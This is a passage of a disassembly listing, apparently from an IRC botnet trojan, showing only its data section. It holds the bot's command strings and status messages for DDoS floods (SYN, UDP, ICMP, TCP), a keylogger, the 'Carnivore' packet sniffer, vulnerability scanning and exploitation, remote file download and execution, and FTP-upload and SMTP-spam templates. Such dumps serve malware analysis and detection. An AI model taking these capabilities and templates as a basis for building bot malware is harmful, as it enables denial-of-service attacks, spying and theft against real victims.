		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartF	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_4348CC	db    2			; DATA XREF: sub_40CE55+3A8Eo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  69h	; i
		db 63h,	6Dh, 70h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSForSS	db '  Flooding: (%s) for %s seconds.',0
		align 4
unk_43490C	db    2			; DATA XREF: sub_40CE55+3A17o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_15	db ' Failed to start clone thread, error: <%d>.',0
unk_434958	db    2			; DATA XREF: sub_40CE55+39A8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  63h	; c
		db 6Ch,	6Fh, 6Eh
		db  65h	; e
		db 73h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aCreatedOnSDInC	db ' Created on %s:%d, in channel %s.',0
		align 4
unk_43499C	db    2			; DATA XREF: sub_40CE55+3920o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_16	db '  Failed to start flood thread, error: <%d>.',0
		align 4
unk_4349E8	db    2			; DATA XREF: sub_40CE55+38A8o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 64h,	6Fh, 73h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFloodingSSForS	db '  Flooding: (%s:%s) for %s seconds.',0
		align 4
dword_434A2C	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40CE55+3813o
		dd 2029206Ch, 2BBBB02h
aFailedToSta_17	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_434A78	dd 28026502h, 62302E31h, 20282029h, 2E6E7973h, 1F641F6Dh
					; DATA XREF: sub_40CE55+3799o
		dd 2029206Ch, 2BBBB02h
aFloodingSSFo_0	db '  Flooding: (%s:%s) for %s seconds.',0
unk_434AB8	db    2			; DATA XREF: sub_40CE55+3729o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartT	db '  Failed to start transfer thread, error: <%d>.',0
		align 4
unk_434B0C	db    2			; DATA XREF: sub_40CE55+36BAo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDownloadingUrl	db '  Downloading URL: %s to: %s.',0
		align 4
unk_434B4C	db    2			; DATA XREF: sub_40CE55+35EBo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartR	db '  Failed to start redirection thread, error: <%d>.',0
unk_434BA0	db    2			; DATA XREF: sub_40CE55+357Co
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aTcpRedirectCre	db '  TCP redirect created from: %s:%d to: %s:%d.',0
		align 10h
unk_434BF0	db    2			; DATA XREF: sub_40CE55+34F1o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_18	db '  Failed to start scan thread, error: <%d>.',0
		align 10h
unk_434C40	db    2			; DATA XREF: sub_40CE55+3482o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aPortScanStarte	db '  Port scan started: %s:%d with delay: %d(ms).',0
aSSS_0		db '[%s] <%s> %s',0     ; DATA XREF: sub_40CE55+33FEo
		align 10h
aSSS_1		db '[%s] * %s %s',0     ; DATA XREF: sub_40CE55+3301o
		align 10h
dword_434CB0	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_40CE55+3273o
					; sub_40CE55+42B1o
dword_434CBC	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+3214o
					; sub_40CE55+4DA6o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_19	db '  Failed to start scan thread, error: <%d>.',0
dword_434D08	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+31A5o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aSExploitationS	db '  %s Exploitation started on %s:%d waiting %d seconds for %d minu'
		db 'tes using %d threads.',0
		align 10h
aSequential	db 'Sequential',0       ; DATA XREF: sub_40CE55+317Ao
					; sub_40CE55+4D0Ao
		align 4
aRandom_0	db 'Random',0           ; DATA XREF: sub_40CE55+3173o
					; sub_40CE55+4D03o
		align 4
dword_434D94	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+3035o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aFailedToSta_20	db '  Failed to start scan, no IP specified.',0
		align 10h
dword_434DE0	dd 28026502h, 62302E31h, 20282029h, 6C707865h, 2E74696Fh
					; DATA XREF: sub_40CE55+2EECo
					; sub_40CE55+4B52o
		dd 1F641F6Dh, 2029206Ch, 2BBBB02h
aAlreadyDScanni	db '  Already %d scanning threads. Too many specified.',0
		align 4
dword_434E34	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2EBBo
		dd 2029206Ch, 2BBBB02h
aFailedToSta_21	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
dword_434E80	dd 28026502h, 62302E31h, 20282029h, 2E706475h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2E4Co
		dd 2029206Ch, 2BBBB02h
aSendingDPacket	db '  Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
		align 4
aIcmp_dllNotAva	db 'ICMP.dll not available',0 ; DATA XREF: sub_40CE55+2D85o
		align 4
unk_434EF4	db    2			; DATA XREF: sub_40CE55+2D70o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_22	db '  Failed to start flood thread, error: <%d>.',0
		align 10h
unk_434F40	db    2			; DATA XREF: sub_40CE55+2D05o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  70h	; p
		db 69h,	6Eh, 67h
		db  2Eh	; .
		db 6Dh,	1Fh, 64h
		db  1Fh
		db 6Ch,	20h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSendingDPingsT	db '  Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
		align 4
dword_434F9C	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40FABDo
		dd 2029206Ch, 2BBBB02h
aInvalidFlood_0	db '  Invalid flood time must be greater than 0.',0
		align 4
dword_434FE8	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2C5Eo
		dd 2029206Ch, 2BBBB02h
aFailedToSta_23	db '  Failed to start flood thread, error: <%d>.',0
		align 4
dword_435034	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2BE4o
		dd 2029206Ch, 2BBBB02h
aSSFloodingSSFo	db '  %s %s flooding: (%s:%s) for %s seconds.',0
		align 4
aNormal		db 'Normal',0           ; DATA XREF: sub_40CE55+2BD4o
		align 4
aSpoofed	db 'Spoofed',0          ; DATA XREF: sub_40CE55+2BCDo
dword_43508C	dd 28026502h, 62302E31h, 20282029h, 2E706374h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2B38o
		dd 2029206Ch, 2BBBB02h
aInvalidFloodTy	db '  Invalid flood type specified.',0
dword_4350C8	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40F8A5o
		dd 2029206Ch, 2BBBB02h
aUploadingFileS	db '  Uploading file: %s to: %s failed.',0
dword_435108	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2A49o
		dd 2029206Ch, 2BBBB02h
aUploadingFil_0	db '  Uploading file: %s to: %s',0
aFtp_exe	db 'ftp.exe',0          ; DATA XREF: sub_40CE55+2A32o
aSS_4		db '-s:%s',0            ; DATA XREF: sub_40CE55+2A1Bo
		align 10h
aOpenSSSSPutSBy	db 'open %s',0Dh,0Ah    ; DATA XREF: sub_40CE55+29FBo
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db '%s',0Dh,0Ah
		db 'put %s',0Dh,0Ah
		db 'bye',0Dh,0Ah,0
		align 4
aSIII_dll	db '%s\%i%i%i.dll',0    ; DATA XREF: sub_40CE55+29C6o
		align 4
dword_435184	dd 28026502h, 62302E31h, 20282029h, 2E707466h, 1F641F6Dh
					; DATA XREF: sub_40CE55+2948o
		dd 2029206Ch, 2BBBB02h
aFileNotFoundS_	db '  File not found: %s.',0
		align 4
aFtp_upload	db 'ftp.upload',0       ; DATA XREF: sub_40CE55+2925o
		align 4
aUtil_hcon	db 'util.hcon',0        ; DATA XREF: sub_40CE55+2902o
		align 10h
aUtil_httpcon	db 'util.httpcon',0     ; DATA XREF: sub_40CE55+28EBo
		align 10h
unk_4351E0	db    3			; DATA XREF: sub_40CE55+28AAo
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	65h, 6Eh
		db  7Ah	; z
		db 31h,	30h, 62h
		db  20h
		db 3, 32h, 2Eh
		db  2Eh	; .
		db 20h,	3, 31h
		db  35h	; 5
		db 28h,	65h, 6Dh
		db  61h	; a
		db 69h,	6Ch, 3
		db  32h	; 2
		db 2Eh,	3, 31h
		db  35h	; 5
		db 6Dh,	6Fh, 64h
		db  29h	; )
		db 20h,	3, 32h
		db 0BBh	; »
		db 3, 31h, 35h
aMessageSentToS	db '  Message sent to %s.',0
		align 4
aHeloRndnickMai	db 'helo $rndnick',0Ah  ; DATA XREF: sub_40CE55+2836o
		db 'mail from: <%s>',0Ah
		db 'rcpt to: <%s>',0Ah
		db 'data',0Ah
		db 'subject: %s',0Ah
		db 'from: %s',0Ah
		db '%s',0Ah
		db '.',0Ah,0
a_:					; DATA XREF: sub_40CE55+279Ao
		unicode	0, <_>,0
aUtil_email	db 'util.email',0       ; DATA XREF: sub_40CE55+274Bo
		align 10h
aUsa		db 'usa',0              ; DATA XREF: sub_40CE55+2734o
aDdos_tcpflood	db 'ddos.tcpflood',0    ; DATA XREF: sub_40CE55+271Do
		align 4
aPg		db 'pg',0               ; DATA XREF: sub_40CE55+2706o
		align 4
aDdos_pingf	db 'ddos.pingf',0       ; DATA XREF: sub_40CE55+26EFo
		align 4
aDdos_pingflood	db 'ddos.pingflood',0   ; DATA XREF: sub_40CE55+26D8o
		align 4
aPu		db 'pu',0               ; DATA XREF: sub_40CE55+26C1o
		align 4
aDdos_udpf	db 'ddos.udpf',0        ; DATA XREF: sub_40CE55+26AAo
		align 4
aDdos_udpflood	db 'ddos.udpflood',0    ; DATA XREF: sub_40CE55+2693o
		align 4
aVuln_start	db 'vuln.start',0       ; DATA XREF: sub_40CE55+2665o
		align 10h
aClone_ac	db 'clone.ac',0         ; DATA XREF: sub_40CE55+263Co
		align 4
aClone_action	db 'clone.action',0     ; DATA XREF: sub_40CE55+2625o
		align 4
aClone_pm	db 'clone.pm',0         ; DATA XREF: sub_40CE55+260Eo
		align 4
aClone_privmsg	db 'clone.privmsg',0    ; DATA XREF: sub_40CE55+25F7o
		align 4
aEnz_ps		db 'enz.ps',0           ; DATA XREF: sub_40CE55+25E0o
		align 10h
aEnz_portscan	db 'enz.portscan',0     ; DATA XREF: sub_40CE55+25C9o
		align 10h
aServer_rd_on	db 'server.rd.on',0     ; DATA XREF: sub_40CE55+25B2o
		align 10h
aServer_redir_0	db 'server.redirect.on',0 ; DATA XREF: sub_40CE55+259Bo
		align 4
aD1		db 'd1',0               ; DATA XREF: sub_40CE55+2584o
		align 4
aDownload_fromw	db 'download.fromwww',0 ; DATA XREF: sub_40CE55+256Do
		align 4
aSy1		db 'sy1',0              ; DATA XREF: sub_40CE55+2556o
aDdos_synflood	db 'ddos.synflood',0    ; DATA XREF: sub_40CE55+253Fo
		align 10h
aDs_rm		db 'ds.rm',0            ; DATA XREF: sub_40CE55+2528o
		align 4
aDs_ack		db 'ds.ack',0           ; DATA XREF: sub_40CE55+2511o
		align 10h
aDs_sy1		db 'ds.sy1',0           ; DATA XREF: sub_40CE55+24FAo
		align 4
aClone_start	db 'clone.start',0      ; DATA XREF: sub_40CE55+24E3o
aClone_make	db 'clone.make',0       ; DATA XREF: sub_40CE55+24CCo
		align 10h
aDdos_ic	db 'ddos.ic',0          ; DATA XREF: sub_40CE55+24A3o
aDdos_icmp	db 'ddos.icmp',0        ; DATA XREF: sub_40CE55+248Co
		align 4
aBox_mv		db 'box.mv',0           ; DATA XREF: sub_40CE55+2475o
		align 4
aBox_rename	db 'box.rename',0       ; DATA XREF: sub_40CE55+245Eo
		align 4
aBox_ff		db 'box.ff',0           ; DATA XREF: sub_40CE55+2447o
		align 10h
aBox_findfile	db 'box.findfile',0     ; DATA XREF: sub_40CE55+2430o
		align 10h
aBox_e		db 'box.e',0            ; DATA XREF: sub_40CE55+2419o
		align 4
aBox_execute	db 'box.execute',0      ; DATA XREF: sub_40CE55+2402o
aDownload_upz	db 'download.upz',0     ; DATA XREF: sub_40CE55+23EBo
		align 4
aDownload_updiz	db 'download.updiz',0   ; DATA XREF: sub_40CE55+23D4o
		align 4
aEnz_de		db 'enz.de',0           ; DATA XREF: sub_40CE55+23BDo
		align 4
aEnz_delay	db 'enz.delay',0        ; DATA XREF: sub_40CE55+23A6o
		align 4
aEnz_rp		db 'enz.rp',0           ; DATA XREF: sub_40CE55+238Fo
		align 10h
aEnz_repeat	db 'enz.repeat',0       ; DATA XREF: sub_40CE55+2378o
		align 4
aClone_p	db 'clone.p',0          ; DATA XREF: sub_40CE55+2361o
aClone_part	db 'clone.part',0       ; DATA XREF: sub_40CE55+234Ao
		align 10h
aClone_j	db 'clone.j',0          ; DATA XREF: sub_40CE55+2333o
aClone_join	db 'clone.join',0       ; DATA XREF: sub_40CE55+231Co
		align 4
aClone_ni	db 'clone.ni',0         ; DATA XREF: sub_40CE55+2305o
		align 10h
aClone_nick	db 'clone.nick',0       ; DATA XREF: sub_40CE55+22EEo
		align 4
aClone_m	db 'clone.m',0          ; DATA XREF: sub_40CE55+22D7o
aClone_mode	db 'clone.mode',0       ; DATA XREF: sub_40CE55+22C0o
		align 10h
aClone_ra	db 'clone.ra',0         ; DATA XREF: sub_40CE55+22A9o
		align 4
aClone_raw	db 'clone.raw',0        ; DATA XREF: sub_40CE55+2292o
		align 4
aEnz_m		db 'enz.m',0            ; DATA XREF: sub_40CE55+227Bo
		align 10h
aEnz_mode	db 'enz.mode',0         ; DATA XREF: sub_40CE55+2264o
		align 4
aEnz_cy		db 'enz.cy',0           ; DATA XREF: sub_40CE55+224Do
		align 4
aEnz_cycle	db 'enz.cycle',0        ; DATA XREF: sub_40CE55+2236o
		align 10h
aEnz_ac		db 'enz.ac',0           ; DATA XREF: sub_40CE55+221Fo
		align 4
aEnz_action	db 'enz.action',0       ; DATA XREF: sub_40CE55+2208o
		align 4
aEnz_pm		db 'enz.pm',0           ; DATA XREF: sub_40CE55+21F1o
		align 4
aEnz_privmsg	db 'enz.privmsg',0      ; DATA XREF: sub_40CE55+21DAo
aEnz_aa		db 'enz.aa',0           ; DATA XREF: sub_40CE55+21C3o
		align 10h
aEnz_addalias	db 'enz.addalias',0     ; DATA XREF: sub_40CE55+21ACo
		align 10h
aEnz_gh		db 'enz.gh',0           ; DATA XREF: sub_40CE55+2183o
		align 4
aEnz_gethost	db 'enz.gethost',0      ; DATA XREF: sub_40CE55+216Co
dword_435534	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EF73o
		dd 2029206Ch, 2BBBB02h
aCommandUnknown	db '  Command unknown.',0
		align 4
dword_435564	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EF6Co
		dd 2029206Ch, 2BBBB02h
aNoMessageSpeci	db '  No message specified.',0
dword_435598	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EF24o
		dd 2029206Ch, 2BBBB02h
aUserListFailed	db '  User list failed.',0
dword_4355C8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55+20C8o
		dd 2029206Ch, 2BBBB02h
aUserListComple	db '  User list completed.',0
		align 4
aUser		db 'user',0             ; DATA XREF: sub_40CE55+203Bo
		align 4
dword_435604	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EE85o
		dd 2029206Ch, 2BBBB02h
aShareListFaile	db '  Share list failed.',0
		align 4
dword_435638	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55+2026o
		dd 2029206Ch, 2BBBB02h
aShareListCompl	db '  Share list completed.',0
aShare		db 'share',0            ; DATA XREF: sub_40CE55+1FBEo
		align 4
aDelete		db 'delete',0           ; DATA XREF: sub_40CE55+1FA3o
		align 4
aPause		db 'pause',0            ; DATA XREF: sub_40CE55+1F70o
		align 4
aStop		db 'stop',0             ; DATA XREF: sub_40CE55+1F58o
		align 4
dword_43568C	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55:loc_40EDA2o
		dd 2029206Ch, 2BBBB02h
aServiceListFai	db '  Service list failed.',0
		align 10h
dword_4356C0	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55+1F43o
		dd 2029206Ch, 2BBBB02h
aServiceListCom	db '  Service list completed.',0
		align 4
dword_4356F8	dd 28026502h, 62302E31h, 20282029h, 2E74656Eh, 1F641F6Dh
					; DATA XREF: sub_40CE55+1EBFo
		dd 2029206Ch, 2BBBB02h
aFailedToLoadAd	db '  Failed to load advapi32.dll or netapi32.dll.',0
		align 4
aBox_net	db 'box.net',0          ; DATA XREF: sub_40CE55+1E9Bo
unk_43574C	db    2			; DATA XREF: sub_40CE55+1E5Ao
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToSta_24	db ' Failed to start logging thread, error: <%d>.',0
		align 4
unk_43579C	db    2			; DATA XREF: sub_40CE55+1DEFo
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerActiv	db ' Key logger active.',0
unk_4357D0	db    2			; DATA XREF: sub_40CE55+1D71o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aAlreadyRunni_1	db ' Already running.',0
		align 4
unk_435804	db    2			; DATA XREF: sub_40CE55:loc_40EBA2o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aNoKeyLoggerThr	db ' No key logger thread found.',0
		align 4
unk_435844	db    2			; DATA XREF: sub_40CE55+1D43o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  6Bh	; k
		db 65h,	79h, 6Ch
		db  6Fh	; o
		db 67h,	2Eh, 6Dh
		db  1Fh
		db 64h,	1Fh, 6Ch
		db  20h
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aKeyLoggerStopp	db ' Key logger stopped. (%d thread(s) stopped.)',0
		align 4
aBox_keylog	db 'box.keylog',0       ; DATA XREF: sub_40CE55+1CE9o
		align 10h
unk_4358A0	db    2			; DATA XREF: sub_40CE55:loc_40EB34o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aNoCarnivoreThr	db 'No Carnivore thread found.',0
		align 4
unk_4358DC	db    2			; DATA XREF: sub_40CE55+1CD5o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivoreStopp	db 'Carnivore stopped. (%d thread(s) stopped.)',0
		align 4
aOff		db 'off',0              ; DATA XREF: sub_40CE55+1CB2o
					; sub_40CE55+1D20o
unk_43592C	db    2			; DATA XREF: sub_40CE55+1CA7o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_25	db 'Failed to start sniffer thread, error: <%d>.',0
		align 4
unk_43597C	db    2			; DATA XREF: sub_40CE55+1C38o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aCarnivorePacke	db 'Carnivore packet sniffer active.',0
		align 10h
unk_4359C0	db    2			; DATA XREF: sub_40CE55+1BD4o
		db 65h,	2, 28h
		db  31h	; 1
		db 2Eh,	30h, 62h
		db  29h	; )
		db 20h,	28h, 20h
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 2Eh,	6Dh, 1Fh
		db  64h	; d
		db 1Fh,	6Ch, 20h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunni_2	db 'Already running.',0
		align 4
aOn		db 'on',0               ; DATA XREF: sub_40CE55+1BB4o
					; sub_40CE55+1CFEo
		align 4
aSniff		db 'sniff',0            ; DATA XREF: sub_40CE55+1B9Fo
		align 10h
aBox_rf		db 'box.rf',0           ; DATA XREF: sub_40CE55+1B88o
		align 4
aBox_readfile	db 'box.readfile',0     ; DATA XREF: sub_40CE55+1B71o
		align 4
aBox_cm		db 'box.cm',0           ; DATA XREF: sub_40CE55+1B5Ao
		align 10h
aBox_cmd	db 'box.cmd',0          ; DATA XREF: sub_40CE55+1B43o
aMirc_cmd	db 'mirc.cmd',0         ; DATA XREF: sub_40CE55+1B15o
					; sub_40CE55+1B2Co
		align 4
aEnz_v		db 'enz.v',0            ; DATA XREF: sub_40CE55+1AFEo
		align 4
aEnz_visit	db 'enz.visit',0        ; DATA XREF: sub_40CE55+1AE7o
		align 4
aBox_fl		db 'box.fl',0           ; DATA XREF: sub_40CE55+1AD0o
		align 10h
aBox_filelist	db 'box.filelist',0     ; DATA XREF: sub_40CE55+1AB9o
		align 10h
aDcc_gt		db 'dcc.gt',0           ; DATA XREF: sub_40CE55+1AA2o
		align 4
aDcc_get	db 'dcc.get',0          ; DATA XREF: sub_40CE55+1A8Bo
aBox_del	db 'box.del',0          ; DATA XREF: sub_40CE55+1A74o
aBox_delete	db 'box.delete',0       ; DATA XREF: sub_40CE55+1A5Do
		align 4
aBox_pkid	db 'box.pkid',0         ; DATA XREF: sub_40CE55+1A46o
		align 10h
aBox_prockillid	db 'box.prockillid',0   ; DATA XREF: sub_40CE55+1A2Fo
		align 10h
aBox_kpn	db 'box.kpn',0          ; DATA XREF: sub_40CE55+1A18o
aBox_killprocna	db 'box.killprocname',0 ; DATA XREF: sub_40CE55+1A01o
		align 4
aEnz_dn		db 'enz.dn',0           ; DATA XREF: sub_40CE55+19EAo
		align 4
aEnz_dns	db 'enz.dns',0          ; DATA XREF: sub_40CE55+19D3o
aEnz_se		db 'enz.se',0           ; DATA XREF: sub_40CE55+19BCo
		align 4
aEnz_setserve	db 'enz.setserve',0     ; DATA XREF: sub_40CE55+19A5o
		align 4
aBox_o		db 'box.o',0            ; DATA XREF: sub_40CE55+198Eo
		align 4
aBox_open	db 'box.open',0         ; DATA XREF: sub_40CE55+1977o
		align 4
aEnz_pr		db 'enz.pr',0           ; DATA XREF: sub_40CE55+1960o
		align 10h
aEnz_prefix	db 'enz.prefix',0       ; DATA XREF: sub_40CE55+1949o
		align 4
aClone_rn	db 'clone.rn',0         ; DATA XREF: sub_40CE55+1932o
		align 4
aClone_rndnick	db 'clone.rndnick',0    ; DATA XREF: sub_40CE55+191Bo
		align 4
aClone_q	db 'clone.q',0          ; DATA XREF: sub_40CE55+1904o
aClone_quit	db 'clone.quit',0       ; DATA XREF: sub_40CE55+18EDo
		align 4
